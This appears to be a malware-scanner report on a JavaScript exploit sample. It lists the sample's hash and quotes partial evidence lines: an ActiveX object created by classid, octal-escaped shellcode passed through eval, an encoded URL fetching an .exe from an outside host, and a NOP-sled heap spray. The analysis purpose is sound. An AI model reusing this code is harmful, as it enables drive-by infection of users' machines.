Benign Download

Exploit.JS.Agent.mx

Creates DOM elementCalls JavaScript unescape

SHA-256a9daf1e1b8069ffeea429c0c502141afbfc48c1bc3d232af48aa02957e1f1fbf

Evidence

Executes JavaScript dynamically with eval() lines 1–11

⋯5 lines
6var jjiijjiis="-E586-474f-A6";
7var jjiijjiiss="E2-1A85A9B4D9FB";
8klli=document["createElement"]("object");
9var jjiijjiix=jjiijjii+jjiijjiis+jjiijjiiss;
10klli["setAttribute"]("classid", jjiijjiix);
11var kukuya =eval("\165\156\145\163\143\141\160\145\50\42\45\165\71\60\42\40\53\40\42\71\60\42\40\53\15\12\11\42\45\165\71\60\42\40\53\40\42\71\60\42\40\53\15\12\11\42\45\165\145\146\145\71\45\165\60\60\60\60\45\165\65\141\60\60\45\165\141\61\66\64\45\165\60\60\42\40\53\15\12\11\42\63\60\45\165\60\60\60\60\45\165\64\60\70\142\45\165\70\142\60\143\45\165\61\143\67\60\45\165\42\40\53\15\12\11\42\70\142\141\144\45\165\60\70\64\60\45\165\144\70\70\142\45\165\67\63\70\142\45\165\70\142\63\143\42\40\53\15\12\11\42\45\165\61\145\67\64\45\165\60\63\67\70\45\165\70\142\146\63\45\ …

Calls JavaScript unescape lines 15–37

15:205… \45\165\66\65\66\143\45\165\60\60\64\61\42\51");
16kukuya=kukuya+unescape("
17"%u7468%u7074%u2F3A%u772F%u7777%u612E"+
18"%u7364%u706C%u2E70%u6E63%u762F%u2F31%u616D%u652E%u6578");
19kfqq = "";
20var jjmmjjmjm="tttsseeettt";
21var bignnnkkkdff = window["unescape"]("%u9090"+"%u9090");
22var hahhahovef;
23var jjmmjjmjm="tttsseeettt";
24hahhahovef = hihihihihi+kukuya["length"];
25while (bignnnkkkdff["length"]<hahhahovef) bignnnkkkdff+=bignnnkkkdff;
26fillnnnkkkdff = bignnnkkkdff.substring(0, hahhahovef);
⋯11 lines